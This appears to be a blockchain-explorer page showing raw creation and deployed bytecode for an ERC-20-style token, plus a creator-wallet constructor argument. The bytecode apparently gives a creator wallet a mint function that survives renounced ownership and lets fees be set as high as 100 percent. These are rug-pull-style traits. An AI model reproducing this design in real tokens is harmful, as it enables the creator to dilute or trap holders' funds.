90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118869190612652565b60405180910390a35b50565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156118dc575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611913575f80fd5b6119638260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119f48260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a929190612652565b60405180910390a36001905092915050565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b8060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b90612852565b60405180910390fd5b5f600954118015611ba2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb45750611bb233612234565b155b15611eea575f611be26064611bd4600954856122d690919063ffffffff16565b61234d90919063ffffffff16565b90505f611bf882846123a490919063ffffffff16565b9050611c4a8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cfc8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ddc9190612652565b60405180910390a35f821115611ee357611e3c8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eda9190612652565b60405180910390a35b5050612072565b611f3a8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611fcb8160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120699190612652565b60405180910390a35b50565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fb90612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361213b575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a8181548110612208575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f90505b600a805490508110156122cc57600a818154811061225b5761225a6128f7565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122bf5760019150506122d1565b808060010191505061223a565b505f90505b919050565b5f8083036122e6575f9050612347565b5f82846122f39190612924565b90508284826123029190612992565b14612342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233990612852565b60405180910390fd5b809150505b92915050565b5f808211612390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238790612852565b60405180910390fd5b818361239c9190612992565b905092915050565b5f828211156123e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123df90612852565b60405180910390fd5b81836123f491906129c2565b905092915050565b5f80828461240a91906128c4565b90508381101561244f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244690612852565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612490578082015181840152602081019050612475565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b582612459565b6124bf8185612463565b93506124cf818560208601612473565b6124d88161249b565b840191505092915050565b5f6020820190508181035f8301526124fb81846124ab565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61253082612507565b9050919050565b61254081612526565b811461254a575f80fd5b50565b5f8135905061255b81612537565b92915050565b5f819050919050565b61257381612561565b811461257d575f80fd5b50565b5f8135905061258e8161256a565b92915050565b5f80604083850312156125aa576125a9612503565b5b5f6125b78582860161254d565b92505060206125c885828601612580565b9150509250929050565b5f8115159050919050565b6125e6816125d2565b82525050565b5f6020820190506125ff5f8301846125dd565b92915050565b5f806040838503121561261b5761261a612503565b5b5f61262885828601612580565b925050602061263985828601612580565b9150509250929050565b61264c81612561565b82525050565b5f6020820190506126655f830184612643565b92915050565b5f805f6060848603121561268257612681612503565b5b5f61268f8682870161254d565b93505060206126a08682870161254d565b92505060406126b186828701612580565b9150509250925092565b5f60ff82169050919050565b6126d0816126bb565b82525050565b5f6020820190506126e95f8301846126c7565b92915050565b5f6020828403121561270457612703612503565b5b5f6127118482850161254d565b91505092915050565b61272381612526565b82525050565b5f60208201905061273c5f83018461271a565b92915050565b5f806040838503121561275857612757612503565b5b5f6127658582860161254d565b92505060206127768582860161254d565b9150509250929050565b5f6020828403121561279557612794612503565b5b5f6127a284828501612580565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806127ef57607f821691505b602082108103612802576128016127ab565b5b50919050565b7f4d617472697800000000000000000000000000000000000000000000000000005f82015250565b5f61283c600683612463565b915061284782612808565b602082019050919050565b5f6020820190508181035f83015261286981612830565b9050919050565b5f6040820190506128835f830185612643565b6128906020830184612643565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6128ce82612561565b91506128d983612561565b92508282019050808211156128f1576128f0612897565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61292e82612561565b915061293983612561565b925082820261294781612561565b9150828204841483151761295e5761295d612897565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61299c82612561565b91506129a783612561565b9250826129b7576129b6612965565b5b828204905092915050565b5f6129cc82612561565b91506129d783612561565b92508282039050818111156129ef576129ee612897565b5b9291505056fea26469706673582212207cfe0cc64b70243f5f661080d8141a1b8d4c922cdb891fa9eac0735c4d6f354664736f6c634300081800330000000000000000000000001d33085da65987d5c19ee4017921c137b8c4ecdb
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637cdc65f21161009f578063a9059cbb11610063578063a9059cbb14610396578063dd62ed3e146103d2578063e4849b321461040e578063f2fde38b14610436578063fb10464d1461045e5761011e565b80637cdc65f2146102e65780638ba4cc3c146103105780638da5cb5b1461033857806395d89b4114610362578063a6f2ae3a1461038c5761011e565b80632b14ca56116100e65780632b14ca5614610216578063313ce56714610240578063470624021461026a57806370a0823114610294578063715018a6146102d05761011e565b806306fdde0314610122578063095ea7b31461014c5780630b78f9c01461018857806318160ddd146101b057806323b872dd146101da575b5f80fd5b34801561012d575f80fd5b5061013661049a565b60405161014391906124e3565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612594565b610525565b60405161017f91906125ec565b60405180910390f35b348015610193575f80fd5b506101ae60048036038101906101a99190612605565b610612565b005b3480156101bb575f80fd5b506101c46107cb565b6040516101d19190612652565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb919061266b565b6107d1565b60405161020d91906125ec565b60405180910390f35b348015610221575f80fd5b5061022a610f86565b6040516102379190612652565b60405180910390f35b34801561024b575f80fd5b50610254610f8c565b60405161026191906126d6565b60405180910390f35b348015610275575f80fd5b5061027e610f9e565b60405161028b9190612652565b60405180910390f35b34801561029f575f80fd5b506102ba60048036038101906102b591906126ef565b610fa4565b6040516102c79190612652565b60405180910390f35b3480156102db575f80fd5b506102e4610fb9565b005b3480156102f1575f80fd5b506102fa611105565b6040516103079190612729565b60405180910390f35b34801561031b575f80fd5b5061033660048036038101906103319190612594565b61112a565b005b348015610343575f80fd5b5061034c611394565b6040516103599190612729565b60405180910390f35b34801561036d575f80fd5b506103766113b9565b60405161038391906124e3565b60405180910390f35b610394611445565b005b3480156103a1575f80fd5b506103bc60048036038101906103b79190612594565b611892565b6040516103c991906125ec565b60405180910390f35b3480156103dd575f80fd5b506103f860048036038101906103f39190612742565b611aa4565b6040516104059190612652565b60405180910390f35b348015610419575f80fd5b50610434600480360381019061042f9190612780565b611ac4565b005b348015610441575f80fd5b5061045c600480360381019061045791906126ef565b612075565b005b348015610469575f80fd5b50610484600480360381019061047f9190612780565b6121f9565b6040516104919190612729565b60405180910390f35b5f80546104a6906127d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906127d8565b801561051d5780601f106104f45761010080835404028352916020019161051d565b820191905f5260205f20905b81548152906001019060200180831161050057829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106009190612652565b60405180910390a36001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106b9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90612852565b60405180910390fd5b606482111561073c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073390612852565b60405180910390fd5b6064811115610780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077790612852565b60405180910390fd5b81600881905550806009819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516107bf929190612870565b60405180910390a15050565b60025481565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084990612852565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561090d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090490612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361097b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097290612852565b60405180910390fd5b5f808390505f6009541180156109de575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156109f057506109ee86612234565b155b15610a3557610a1d6064610a0f600954876122d690919063ffffffff16565b61234d90919063ffffffff16565b9150610a3282856123a490919063ffffffff16565b90505b610a858460045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b168160045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bb49190612652565b60405180910390a35f821115610cbb57610c148260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb29190612652565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015610d8f57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15610f7957610e1f8460055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610f709190612652565b60405180910390a35b6001925050509392505050565b60095481565b60035f9054906101000a900460ff1681565b60085481565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103f90612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111d1575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611210576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120790612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361127e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127590612852565b60405180910390fd5b5f81116112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b790612852565b60405180910390fd5b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461130c91906128c4565b925050819055508060025f82825461132491906128c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113889190612652565b60405180910390a35050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546113c6906127d8565b80601f01602080910402602001604051908101604052809291908181526020018280546113f2906127d8565b801561143d5780601f106114145761010080835404028352916020019161143d565b820191905f5260205f20905b81548152906001019060200180831161142057829003601f168201915b505050505081565b5f3411611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90612852565b60405180910390fd5b5f3490505f6008541115611735575f6114be60646114b0600854856122d690919063ffffffff16565b61234d90919063ffffffff16565b90505f6114d482846123a490919063ffffffff16565b90506115478160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116279190612652565b60405180910390a35f82111561172e576116878260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117259190612652565b60405180910390a35b505061188f565b6117a68160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118869190612652565b60405180910390a35b50565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156118dc575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611913575f80fd5b6119638260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119f48260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a929190612652565b60405180910390a36001905092915050565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b8060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b90612852565b60405180910390fd5b5f600954118015611ba2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb45750611bb233612234565b155b15611eea575f611be26064611bd4600954856122d690919063ffffffff16565b61234d90919063ffffffff16565b90505f611bf882846123a490919063ffffffff16565b9050611c4a8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cfc8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ddc9190612652565b60405180910390a35f821115611ee357611e3c8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eda9190612652565b60405180910390a35b5050612072565b611f3a8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611fcb8160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120699190612652565b60405180910390a35b50565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fb90612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361213b575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a8181548110612208575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f90505b600a805490508110156122cc57600a818154811061225b5761225a6128f7565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122bf5760019150506122d1565b808060010191505061223a565b505f90505b919050565b5f8083036122e6575f9050612347565b5f82846122f39190612924565b90508284826123029190612992565b14612342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233990612852565b60405180910390fd5b809150505b92915050565b5f808211612390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238790612852565b60405180910390fd5b818361239c9190612992565b905092915050565b5f828211156123e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123df90612852565b60405180910390fd5b81836123f491906129c2565b905092915050565b5f80828461240a91906128c4565b90508381101561244f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244690612852565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612490578082015181840152602081019050612475565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b582612459565b6124bf8185612463565b93506124cf818560208601612473565b6124d88161249b565b840191505092915050565b5f6020820190508181035f8301526124fb81846124ab565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61253082612507565b9050919050565b61254081612526565b811461254a575f80fd5b50565b5f8135905061255b81612537565b92915050565b5f819050919050565b61257381612561565b811461257d575f80fd5b50565b5f8135905061258e8161256a565b92915050565b5f80604083850312156125aa576125a9612503565b5b5f6125b78582860161254d565b92505060206125c885828601612580565b9150509250929050565b5f8115159050919050565b6125e6816125d2565b82525050565b5f6020820190506125ff5f8301846125dd565b92915050565b5f806040838503121561261b5761261a612503565b5b5f61262885828601612580565b925050602061263985828601612580565b9150509250929050565b61264c81612561565b82525050565b5f6020820190506126655f830184612643565b92915050565b5f805f6060848603121561268257612681612503565b5b5f61268f8682870161254d565b93505060206126a08682870161254d565b92505060406126b186828701612580565b9150509250925092565b5f60ff82169050919050565b6126d0816126bb565b82525050565b5f6020820190506126e95f8301846126c7565b92915050565b5f6020828403121561270457612703612503565b5b5f6127118482850161254d565b91505092915050565b61272381612526565b82525050565b5f60208201905061273c5f83018461271a565b92915050565b5f806040838503121561275857612757612503565b5b5f6127658582860161254d565b92505060206127768582860161254d565b9150509250929050565b5f6020828403121561279557612794612503565b5b5f6127a284828501612580565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806127ef57607f821691505b602082108103612802576128016127ab565b5b50919050565b7f4d617472697800000000000000000000000000000000000000000000000000005f82015250565b5f61283c600683612463565b915061284782612808565b602082019050919050565b5f6020820190508181035f83015261286981612830565b9050919050565b5f6040820190506128835f830185612643565b6128906020830184612643565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6128ce82612561565b91506128d983612561565b92508282019050808211156128f1576128f0612897565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61292e82612561565b915061293983612561565b925082820261294781612561565b9150828204841483151761295e5761295d612897565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61299c82612561565b91506129a783612561565b9250826129b7576129b6612965565b5b828204905092915050565b5f6129cc82612561565b91506129d783612561565b92508282039050818111156129ef576129ee612897565b5b9291505056fea26469706673582212207cfe0cc64b70243f5f661080d8141a1b8d4c922cdb891fa9eac0735c4d6f354664736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000001d33085da65987d5c19ee4017921c137b8c4ecdb
-----Decoded View---------------
Arg [0] : _creatorWallet (address): 0x1D33085dA65987D5c19eE4017921c137b8c4ECDB
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000001d33085da65987d5c19ee4017921c137b8c4ecdb
Deployed Bytecode Sourcemap
